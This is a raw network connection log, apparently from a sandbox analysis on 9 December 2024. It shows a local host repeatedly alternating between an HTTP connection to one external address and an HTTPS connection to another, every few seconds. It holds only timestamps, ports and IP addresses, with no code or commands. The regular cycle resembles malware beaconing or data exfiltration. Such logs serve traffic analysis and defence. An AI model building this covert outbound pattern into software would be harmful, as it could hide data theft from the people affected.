Dec 9, 2024 08:32:53.689362049 CET	80	49737	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:54.890522003 CET	80	49737	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:54.892168045 CET	49739	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:54.892224073 CET	443	49739	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:54.892301083 CET	49739	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:54.892975092 CET	49739	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:54.892987967 CET	443	49739	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:54.931231976 CET	49737	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:56.254075050 CET	443	49739	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:56.256310940 CET	49739	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:56.256330967 CET	443	49739	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:56.256409883 CET	49739	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:56.256421089 CET	443	49739	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:56.876548052 CET	443	49739	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:56.876631021 CET	443	49739	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:56.876771927 CET	49739	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:56.877409935 CET	49739	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:56.882448912 CET	49744	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:57.002852917 CET	80	49744	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:57.003045082 CET	49744	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:57.008755922 CET	49744	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:57.128020048 CET	80	49744	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:58.349574089 CET	80	49744	132.226.247.73	192.168.2.9
Dec 9, 2024 08:32:58.350899935 CET	49750	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:58.350951910 CET	443	49750	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:58.351016998 CET	49750	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:58.351475954 CET	49750	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:58.351499081 CET	443	49750	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:58.400041103 CET	49744	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:32:59.882436037 CET	443	49750	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:59.884628057 CET	49750	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:59.884650946 CET	443	49750	149.154.167.220	192.168.2.9
Dec 9, 2024 08:32:59.884708881 CET	49750	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:32:59.884717941 CET	443	49750	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:00.521815062 CET	443	49750	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:00.522000074 CET	443	49750	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:00.522057056 CET	49750	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:00.522507906 CET	49750	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:00.526290894 CET	49744	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:00.527421951 CET	49756	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:00.646009922 CET	80	49744	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:00.646087885 CET	49744	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:00.646644115 CET	80	49756	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:00.646718025 CET	49756	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:00.646945953 CET	49756	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:00.766472101 CET	80	49756	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:01.955497980 CET	80	49756	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:01.957742929 CET	49758	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:01.957801104 CET	443	49758	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:01.957920074 CET	49758	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:01.958215952 CET	49758	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:01.958229065 CET	443	49758	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:02.009464979 CET	49756	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:03.318875074 CET	443	49758	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:03.320832968 CET	49758	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:03.320859909 CET	443	49758	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:03.320919991 CET	49758	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:03.320930004 CET	443	49758	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:04.094959021 CET	443	49758	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:04.095201969 CET	443	49758	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:04.095268011 CET	49758	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:04.095674038 CET	49758	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:04.102453947 CET	49756	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:04.103483915 CET	49764	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:04.222008944 CET	80	49756	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:04.222125053 CET	49756	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:04.222745895 CET	80	49764	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:04.222847939 CET	49764	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:04.223192930 CET	49764	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:04.343035936 CET	80	49764	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:05.541635990 CET	80	49764	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:05.545722008 CET	49770	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:05.545754910 CET	443	49770	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:05.545847893 CET	49770	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:05.546143055 CET	49770	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:05.546154976 CET	443	49770	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:05.587682009 CET	49764	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:06.908540964 CET	443	49770	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:06.910444021 CET	49770	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:06.910464048 CET	443	49770	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:06.910546064 CET	49770	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:06.910556078 CET	443	49770	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:07.653379917 CET	443	49770	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:07.653469086 CET	443	49770	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:07.653580904 CET	49770	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:07.654242039 CET	49770	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:07.657496929 CET	49764	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:07.658905029 CET	49775	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:07.777120113 CET	80	49764	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:07.777219057 CET	49764	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:07.778173923 CET	80	49775	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:07.778249979 CET	49775	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:07.778630018 CET	49775	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:07.897869110 CET	80	49775	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:09.081372976 CET	80	49775	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:09.082777977 CET	49780	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:09.082822084 CET	443	49780	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:09.083074093 CET	49780	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:09.083419085 CET	49780	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:09.083431005 CET	443	49780	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:09.134572983 CET	49775	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:10.447453022 CET	443	49780	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:10.449527025 CET	49780	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:10.449542999 CET	443	49780	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:10.449599028 CET	49780	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:10.449605942 CET	443	49780	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:11.270353079 CET	443	49780	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:11.270437002 CET	443	49780	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:11.270529032 CET	49780	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:11.271102905 CET	49780	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:11.274384975 CET	49775	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:11.275645971 CET	49787	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:11.393968105 CET	80	49775	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:11.394094944 CET	49775	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:11.394867897 CET	80	49787	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:11.394958019 CET	49787	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:11.395179033 CET	49787	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:11.514358044 CET	80	49787	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:12.699516058 CET	80	49787	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:12.700999022 CET	49789	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:12.701039076 CET	443	49789	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:12.701489925 CET	49789	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:12.701489925 CET	49789	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:12.701519012 CET	443	49789	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:12.744024992 CET	49787	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:14.061558008 CET	443	49789	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:14.063745022 CET	49789	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:14.063761950 CET	443	49789	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:14.063827991 CET	49789	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:14.063832998 CET	443	49789	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:14.832942009 CET	443	49789	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:14.833023071 CET	443	49789	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:14.833066940 CET	49789	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:14.833621979 CET	49789	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:14.839227915 CET	49787	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:14.840985060 CET	49795	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:14.958811998 CET	80	49787	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:14.958873987 CET	49787	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:14.960222006 CET	80	49795	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:14.960299015 CET	49795	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:14.960570097 CET	49795	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:15.079813957 CET	80	49795	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:16.268881083 CET	80	49795	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:16.270668983 CET	49800	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:16.270699024 CET	443	49800	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:16.270776033 CET	49800	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:16.271137953 CET	49800	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:16.271150112 CET	443	49800	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:16.322202921 CET	49795	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:17.635514975 CET	443	49800	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:17.637424946 CET	49800	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:17.637434959 CET	443	49800	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:17.637518883 CET	49800	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:17.637523890 CET	443	49800	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:18.273128986 CET	443	49800	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:18.273200035 CET	443	49800	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:18.273268938 CET	49800	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:18.273929119 CET	49800	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:18.277956963 CET	49795	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:18.278819084 CET	49806	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:18.397612095 CET	80	49795	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:18.397726059 CET	49795	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:18.398150921 CET	80	49806	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:18.398247004 CET	49806	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:18.398494005 CET	49806	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:18.517911911 CET	80	49806	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:19.703084946 CET	80	49806	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:19.704530001 CET	49810	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:19.704576015 CET	443	49810	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:19.704663038 CET	49810	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:19.705007076 CET	49810	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:19.705027103 CET	443	49810	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:19.744106054 CET	49806	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:21.074265957 CET	443	49810	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:21.075999975 CET	49810	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:21.076013088 CET	443	49810	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:21.076066971 CET	49810	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:21.076076031 CET	443	49810	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:21.725933075 CET	443	49810	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:21.727221012 CET	443	49810	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:21.728643894 CET	49810	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:21.728984118 CET	49810	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:21.732358932 CET	49806	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:21.733531952 CET	49816	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:21.851860046 CET	80	49806	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:21.852540970 CET	49806	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:21.852771044 CET	80	49816	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:21.852962971 CET	49816	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:21.853198051 CET	49816	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:21.972428083 CET	80	49816	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:23.155771971 CET	80	49816	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:23.162127018 CET	49820	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:23.162175894 CET	443	49820	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:23.162256002 CET	49820	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:23.162606001 CET	49820	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:23.162620068 CET	443	49820	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:23.197304964 CET	49816	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:24.524055004 CET	443	49820	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:24.526329041 CET	49820	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:24.526384115 CET	443	49820	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:24.526449919 CET	49820	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:24.526478052 CET	443	49820	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:25.145781040 CET	443	49820	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:25.145873070 CET	443	49820	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:25.145931959 CET	49820	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:25.146445990 CET	49820	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:25.149831057 CET	49816	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:25.151060104 CET	49826	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:25.269448042 CET	80	49816	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:25.269606113 CET	49816	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:25.270349026 CET	80	49826	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:25.270453930 CET	49826	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:25.270713091 CET	49826	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:25.389903069 CET	80	49826	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:26.574084997 CET	80	49826	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:26.575804949 CET	49831	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:26.575848103 CET	443	49831	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:26.575942993 CET	49831	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:26.576297998 CET	49831	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:26.576313019 CET	443	49831	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:26.619319916 CET	49826	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:27.937383890 CET	443	49831	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:27.940769911 CET	49831	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:27.940785885 CET	443	49831	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:27.941061974 CET	49831	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:27.941066980 CET	443	49831	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:28.574850082 CET	443	49831	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:28.574942112 CET	443	49831	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:28.575040102 CET	49831	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:28.575583935 CET	49831	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:28.579139948 CET	49826	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:28.580353022 CET	49835	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:28.701652050 CET	80	49826	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:28.701817989 CET	49826	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:28.702346087 CET	80	49835	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:28.702455044 CET	49835	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:28.702703953 CET	49835	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:28.822681904 CET	80	49835	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:30.008955002 CET	80	49835	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:30.010509968 CET	49840	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:30.010544062 CET	443	49840	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:30.010632992 CET	49840	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:30.010920048 CET	49840	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:30.010931969 CET	443	49840	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:30.056794882 CET	49835	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:31.380603075 CET	443	49840	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:31.382371902 CET	49840	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:31.382395983 CET	443	49840	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:31.382477999 CET	49840	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:31.382482052 CET	443	49840	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:32.007332087 CET	443	49840	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:32.007466078 CET	443	49840	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:32.007570982 CET	49840	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:32.008143902 CET	49840	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:32.014431000 CET	49835	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:32.016006947 CET	49846	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:32.134145975 CET	80	49835	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:32.134215117 CET	49835	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:32.135935068 CET	80	49846	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:32.136029959 CET	49846	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:32.136446953 CET	49846	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:32.256052971 CET	80	49846	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:33.440058947 CET	80	49846	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:33.441459894 CET	49850	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:33.441520929 CET	443	49850	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:33.441589117 CET	49850	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:33.441875935 CET	49850	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:33.441894054 CET	443	49850	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:33.494390965 CET	49846	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:34.802845955 CET	443	49850	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:34.805018902 CET	49850	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:34.805042982 CET	443	49850	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:34.805113077 CET	49850	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:34.805119038 CET	443	49850	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:35.485436916 CET	443	49850	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:35.485629082 CET	443	49850	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:35.485707045 CET	49850	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:35.486296892 CET	49850	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:35.489897013 CET	49846	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:35.491108894 CET	49856	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:35.609467983 CET	80	49846	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:35.609641075 CET	49846	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:35.610313892 CET	80	49856	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:35.610408068 CET	49856	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:35.610646009 CET	49856	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:35.729806900 CET	80	49856	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:36.913548946 CET	80	49856	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:36.915246010 CET	49860	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:36.915307999 CET	443	49860	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:36.915422916 CET	49860	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:36.915707111 CET	49860	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:36.915730000 CET	443	49860	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:36.955912113 CET	49856	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:38.283449888 CET	443	49860	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:38.285353899 CET	49860	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:38.285367966 CET	443	49860	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:38.285450935 CET	49860	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:38.285459042 CET	443	49860	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:38.920592070 CET	443	49860	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:38.920711040 CET	443	49860	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:38.920778990 CET	49860	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:38.921374083 CET	49860	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:38.924873114 CET	49856	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:38.926065922 CET	49866	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:39.045216084 CET	80	49856	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:39.045275927 CET	49856	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:39.046549082 CET	80	49866	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:39.046654940 CET	49866	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:39.046822071 CET	49866	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:39.166029930 CET	80	49866	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:40.351454973 CET	80	49866	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:40.369079113 CET	49870	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:40.369131088 CET	443	49870	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:40.369203091 CET	49870	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:40.369894028 CET	49870	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:40.369905949 CET	443	49870	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:40.400701046 CET	49866	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:41.731669903 CET	443	49870	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:41.733762980 CET	49870	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:41.733774900 CET	443	49870	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:41.733840942 CET	49870	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:41.733850956 CET	443	49870	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:42.432265043 CET	443	49870	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:42.432368994 CET	443	49870	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:42.432508945 CET	49870	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:42.433095932 CET	49870	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:42.436796904 CET	49866	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:42.437644958 CET	49876	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:42.557682991 CET	80	49866	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:42.557847977 CET	80	49876	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:42.558010101 CET	49866	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:42.558053017 CET	49876	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:42.558346987 CET	49876	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:42.902549028 CET	80	49876	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:43.866245031 CET	80	49876	132.226.247.73	192.168.2.9
Dec 9, 2024 08:33:43.916352034 CET	49876	80	192.168.2.9	132.226.247.73
Dec 9, 2024 08:33:46.170675993 CET	49886	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:46.170716047 CET	443	49886	149.154.167.220	192.168.2.9
Dec 9, 2024 08:33:46.170816898 CET	49886	443	192.168.2.9	149.154.167.220
Dec 9, 2024 08:33:46.171139956 CET	49886	443	192.168.2.9	149.154.167.220
